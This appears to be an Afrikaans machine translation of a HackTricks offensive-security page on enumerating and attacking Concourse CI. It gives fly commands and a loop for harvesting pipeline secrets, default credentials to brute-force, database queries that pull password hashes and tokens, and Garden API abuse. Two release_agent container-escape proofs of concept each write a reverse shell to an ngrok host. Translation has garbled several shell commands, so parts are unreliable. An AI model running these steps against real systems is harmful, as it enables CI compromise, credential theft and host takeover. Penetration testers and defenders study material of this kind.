Concourse Enumeration & Attacks

Concourse Opsomming & Aanvalle

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Gebruiker Rolle & Toestemmings

Concourse kom met vyf rolle:

  • Concourse Admin: Hierdie rol word slegs aan eienaars van die hoofspan (verstek aanvanklike concourse-span) gegee. Admins kan ander spanne instel (bv.: fly set-team, fly destroy-team...). Die toestemmings van hierdie rol kan nie deur RBAC beïnvloed word nie.

  • eienaar: Span eienaars kan alles binne die span wysig.

  • lid: Spanlede kan binne die span se bates lees en skryf, maar kan nie die spaninstellings wysig nie.

  • pipeline-operateur: Pyplyn-operateurs kan pyplynhandelinge uitvoer soos boue aanroep en bronne vaspen, maar hulle kan nie pyplynkonfigurasies opdateer nie.

  • kyker: Spankykers het "alleen-lesende" toegang tot 'n span en sy pyplyne.

Verder kan die toestemmings van die rolle eienaar, lid, pipeline-operateur en kyker gewysig word deur RBAC te konfigureer (deur meer spesifiek sy aksies te konfigureer). Lees meer hieroor by: https://concourse-ci.org/user-roles.html

Let daarop dat Concourse pyplyne binne Spanne groepeer. Daarom sal gebruikers wat aan 'n Span behoort, in staat wees om daardie pyplyne te bestuur en verskeie Spanne kan bestaan. 'n Gebruiker kan aan verskeie Spanne behoort en verskillende toestemmings binne elkeen van hulle hê.

Vars & Geldeenhede-bestuurder

In die YAML-konfigurasies kan jy waardes konfigureer met die sintaksis ((_bron-naam_:_geheim-pad_._geheim-veld_)). Van die dokumente af: Die bron-naam is opsioneel, en indien weggelaat, sal die klusterwye geldeenhede-bestuurder gebruik word, of die waarde kan staties voorsien word statisch. Die opsionele _geheim-veld_ spesifiseer 'n veld op die opgehaalde geheim om te lees. Indien weggelaat, kan die geldeenhede-bestuurder kies om 'n 'verstekveld' van die opgehaalde geldeenheid te lees as die veld bestaan. Verder kan die geheim-pad en geheim-veld omring word deur dubbele aanhalingstekens "..." as hulle spesiale karakters soos . en : bevat. Byvoorbeeld, ((bron:"my.secret"."veld:1")) sal die geheim-pad instel op my.secret en die geheim-veld op veld:1.

Statische Vars

Statische vars kan gespesifiseer word in taakstappe:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Gebruik die volgende fly argumente:

  • -v of --var NAAM=Waarde stel die string Waarde in as die waarde vir die var NAAM.

  • -y of --yaml-var NAAM=Waarde ontleder Waarde as YAML en stel dit in as die waarde vir die var NAAM.

  • -i of --instance-var NAAM=Waarde ontleder Waarde as YAML en stel dit in as die waarde vir die instansie var NAAM. Sien Groepering Pyplyne om meer te leer oor instansie vars.

  • -l of --load-vars-from LEËR laai LEËR, 'n YAML-dokument wat kartering var-naam na waardes bevat, en stel hulle almal in.

Kredensiebestuur

Daar is verskillende maniere waarop 'n Kredensiebestuurder in 'n pyplyn gespesifiseer kan word, lees hoe in https://concourse-ci.org/creds.html. Verder ondersteun Concourse verskillende kredensiebestuurders:

Let daarop dat as jy 'n soort skryftoegang tot Concourse het, kan jy take skep om daardie geheime te uit te sluip aangesien Concourse moet in staat wees om hulle te kan bereik.

Concourse Enumerasie

Om 'n Concourse-omgewing te enumereer, moet jy eers geldige geloofsbriewe versamel of 'n geautentiseerde token vind waarskynlik in 'n .flyrc-konfigurasie-lêer.

Aanteken en Huidige Gebruiker enum

  • Om aan te teken moet jy die eindpunt, die spannaam (standaard is main) en 'n span waar die gebruiker aan behoort weet:

  • fly --target voorbeeld aanmeld --span-naam my-span --concourse-url https://ci.voorbeeld.com [--onveilig] [--kliënt-sert=./pad --kliënt-sleutel=./pad]

  • Kry gekonfigureerde teikens:

  • fly teikens

  • Kry of die gekonfigureerde teikenverbinding nog steeds geldig is:

  • fly -t <teiken> status

  • Kry die rol van die gebruiker teenoor die aangeduide teiken:

  • fly -t <teiken> gebruikerinligting

Let daarop dat die API-token standaard in $HOME/.flyrc gestoor word, as jy 'n masjien plunder, kan jy dalk daar die geloofsbriewe vind.

Spanne & Gebruikers

  • Kry 'n lys van die Spanne

  • fly -t <teiken> spanne

  • Kry rolle binne span

  • fly -t <teiken> kry-span -n <span-naam>

  • Kry 'n lys van gebruikers

  • fly -t <teiken> aktiewe-gebruikers

Pyplyne

  • Lys pyplyne:

  • fly -t <teiken> pyplyne -a

  • Kry pyplyn yaml (sensitiewe inligting mag in die definisie gevind word):

  • fly -t <teiken> kry-pyplyn -p <pyplyn-naam>

  • Kry al die pyplyn gekonfigureerde vars

  • vir pyplynnaam in $(fly -t <teiken> pyplyne | grep -Ev "^id" | awk '{druk $2}'); doen echo $pyplynnaam; fly -t <teiken> kry-pyplyn -p $pyplynnaam -j | grep -Eo '"vars":[^}]+'; gedoen

  • Kry al die pyplyngeheimname wat gebruik word (as jy 'n taak kan skep/wysig of 'n houer kan kap, kan jy hulle uitsluip):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Houers & Werkers

  • Lys werkers:

  • fly -t <teiken> werkers

  • Lys houers:

  • fly -t <teiken> houers

  • Lys bouwerk (om te sien wat hardloop):

  • fly -t <teiken> bouwerk

Concourse Aanvalle

Gelgeld Brute-Force

  • admin:admin

  • test:test

Geheime en parameters opskrif

In die vorige afdeling het ons gesien hoe jy alle geheime name en vars wat deur die pyplyn gebruik word, kan kry. Die vars mag sensitiewe inligting bevat en die naam van die geheime sal later nuttig wees om te probeer om hulle te steel.

Sessie binne hardloop of onlangs hardloop houer

As jy genoeg voorregte het (lid rol of meer) sal jy in staat wees om pyplyne en rolle te lys en net 'n sessie binne die <pyplyn>/<taak> houer te kry deur:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Met hierdie regte kan jy dalk die volgende doen:

  • Steel die geheime binne die houer

  • Probeer om te ontsnap na die node

  • Enumerate/Misbruik wolk metadata eindpunt (vanaf die peul en vanaf die node, indien moontlik)

Aanmaak/Wysiging van Pyplyne

As jy genoeg regte het (lidrol of meer) sal jy in staat wees om nuwe pyplyne te skep/wysig. Kyk na hierdie voorbeeld:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Met die modifikasie/skepping van 'n nuwe pyplyn sal jy in staat wees om:

  • Steel die geheime (deur hulle uit te skryf of binne die houer te kom en env uit te voer)

  • Ontsnap na die node (deur jou genoeg voorregte te gee - privileged: true)

  • Enumerate/Misbruik wolk metadata eindpunt (vanaf die peul en vanaf die node)

  • Verwyder die geskepte pyplyn

Voer Aangepaste Taak Uit

Dit is soortgelyk aan die vorige metode, maar in plaas daarvan om 'n hele nuwe pyplyn te wysig/skep, kan jy net 'n aangepaste taak uitvoer (wat waarskynlik baie meer stealthier sal wees):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Ontsnapping na die node vanaf 'n bevoorregte taak

In die vorige afdelings het ons gesien hoe om 'n bevoorregte taak met concourse uit te voer. Dit sal nie die houer presies dieselfde toegang gee as die bevoorregte vlag in 'n docker-houer nie. Byvoorbeeld, jy sal nie die node-lêerstelseltoestel in /dev sien nie, sodat die ontsnapping meer "kompleks" kan wees.

In die volgende PoC gaan ons die release_agent gebruik om te ontsnap met 'n paar klein aanpassings:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Soos jy dalk opgemerk het, is hierdie net 'n gewone release_agent ontsnapping deur net die pad van die cmd in die node te wysig

Ontsnapping na die node vanaf 'n Werker-container

'n Gewone release_agent-ontsnapping met 'n klein aanpassing is genoeg hiervoor:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Ontsnapping na die node vanaf die Web-houer

Selfs al het die web-houer sekere verdedigings uitgeskakel, hardloop dit nie as 'n gewone bevoorregte houer (byvoorbeeld, jy kan nie koppel nie en die vermoëns is baie beperk, dus is al die maklike maniere om uit die houer te ontsnap nutteloos).

Dit stoor egter plaaslike geloofsbriewe in die teks:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Jy kan daardie geloofsbriewe gebruik om teen die webbediener in te teken en 'n bevoorregte houer te skep en na die node te ontsnap.

In die omgewing kan jy ook inligting vind om die postgresql instansie te benader wat concourse gebruik (adres, gebruikersnaam, wagwoord en databasis onder andere inligting):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Misbruik van Garden-diens - Nie 'n werklike Aanval nie

Hierdie is net interessante notas oor die diens, maar omdat dit slegs op die plaaslike masjien luister, sal hierdie notas geen impak hê wat ons nie reeds voorheen benut het nie.

Standaard sal elke Concourse-werker 'n Garden diens hardloop op poort 7777. Hierdie diens word deur die webmeester gebruik om die werker te wys wat hy moet uitvoer (die beeld aflaai en elke taak hardloop). Dit klink redelik goed vir 'n aanvaller, maar daar is 'n paar goeie beskermingsmaatreëls:

  • Dit is net plaaslik blootgestel (127.0.0.1) en ek dink wanneer die werker weer by die webwerf aanmeld met die spesiale SSH-diens, word 'n tonnel geskep sodat die webdiens met elke Garden-diens binne elke werker kan praat.

  • Die webdiens monitor die lopende houers elke paar sekondes, en onverwagte houers word verwyder. Dus, as jy 'n aangepaste houer wil hardloop, moet jy sukkel met die kommunikasie tussen die webdiens en die garden-diens.

Concourse-werkers hardloop met hoë houerbevoegdhede:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Egter, tegnieke soos mounting van die /dev-toestel van die node of release_agent sal nie werk (aangesien die werklike toestel met die lêersisteem van die node nie toeganklik is nie, slegs 'n virtuele een). Ons kan nie by die prosesse van die node kom nie, dus ontsnap van die node sonder kernel-uitbuitings raak ingewikkeld.

In die vorige afdeling het ons gesien hoe om te ontsnap uit 'n bevoorregte houer, so as ons bevele kan uitvoer in 'n bevoorregte houer geskep deur die huidige werker, kon ons ontsnap na die node.

Let daarop dat ek met Concourse gespeel het en opgemerk het dat wanneer 'n nuwe houer geskep word om iets uit te voer, die houerprosesse toeganklik is vanuit die werkerhouer, so dit is soos 'n houer wat 'n nuwe houer binne hom skep.

Binne 'n lopende bevoorregte houer kom

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Skep 'n nuwe bevoorregte houer

Jy kan baie maklik 'n nuwe houer skep (hardloop net 'n willekeurige UID) en iets daarop uitvoer:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Nochtans, die webbediener kontroleer elke paar sekondes die houers wat loop, en as 'n onverwagte een ontdek word, sal dit verwyder word. Aangesien die kommunikasie in HTTP plaasvind, kan jy die kommunikasie manipuleer om die verwydering van onverwagte houers te voorkom:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Verwysings

  • https://concourse-ci.org/vars.html

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated